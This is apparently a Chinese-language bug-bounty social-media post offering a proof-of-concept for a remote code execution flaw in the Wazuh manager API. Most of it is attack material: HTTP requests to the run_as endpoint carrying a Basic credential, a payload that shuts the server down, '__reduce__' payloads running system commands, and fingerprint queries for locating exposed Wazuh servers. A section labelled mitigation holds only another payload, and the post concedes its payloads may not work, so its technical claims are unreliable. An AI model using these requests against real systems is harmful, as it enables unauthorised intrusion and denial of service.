
已识别出Wazuh服务器中存在一个关键RCE漏洞,原因是wazuh-manager包中的不安全反序列化。该漏洞影响Wazuh版本≥4.4.0,并已在4.9.1版本中修复。
🚨 Wazuh 远程代码执行 (RCE) - PoC
在 Wazuh 服务器中发现了一个严重的 RCE 漏洞,原因是 wazuh-manager 包中存在不安全的反序列化。此漏洞影响 Wazuh 版本 ≥ 4.4.0,并在 4.9.1 版本中修复。
🔍 详情
该缺陷位于 Wazuh API 的 DistributedAPI 中,其中用户控制的输入被不安全地反序列化。这使得拥有API访问权限的攻击者(例如,受感染的仪表板或集群节点)能够通过 run_as 端点在主服务器上执行任意 Python 代码。
📬 概念验证 (Burp 请求)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 Authorization 头部是 wazuh-wui:MyS3cr37P450r.*- 的 base64 编码。
📌 该 payload 通过调用 Python 的 exit() 方法导致 Wazuh 服务器关闭。
💥 影响
🛡️ 缓解措施
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
但仅此还不够,除非反序列化代码实际执行对象树。相反,请使用基于 __reduce__ 的对象来执行代码。
以下是通过类似 pickle 的逻辑使用 Python 的 os.system() 的 Burp 请求 的工作格式:
💣 可用的 Burp RCE Payload (Python 代码执行)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 要运行 ls,请更改 payload:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
你也可以使用:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ 注意:实际的反序列化必须通过后端的 eval() 或类似机制来实现才能生效。根据 Wazuh PoC,如果你能控制 auth_context,这确实是可能的。
🔐 专业提示 在 Burp 中拦截请求,转到 Repeater 标签页,并测试多个 payload,例如:
"whoami""id""uname -a""ls /home/wazuh"👇查询
product.name="Wazuh"app="Wazuh"如果响应为空或状态为500,请检查日志 — 有时不会返回输出。
📚 保持敏锐,黑客们!更多漏洞赏金 PoC、绕过方法和payload即将到来!
关注 👉 @cybersecplayground 获取每日黑客内容!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit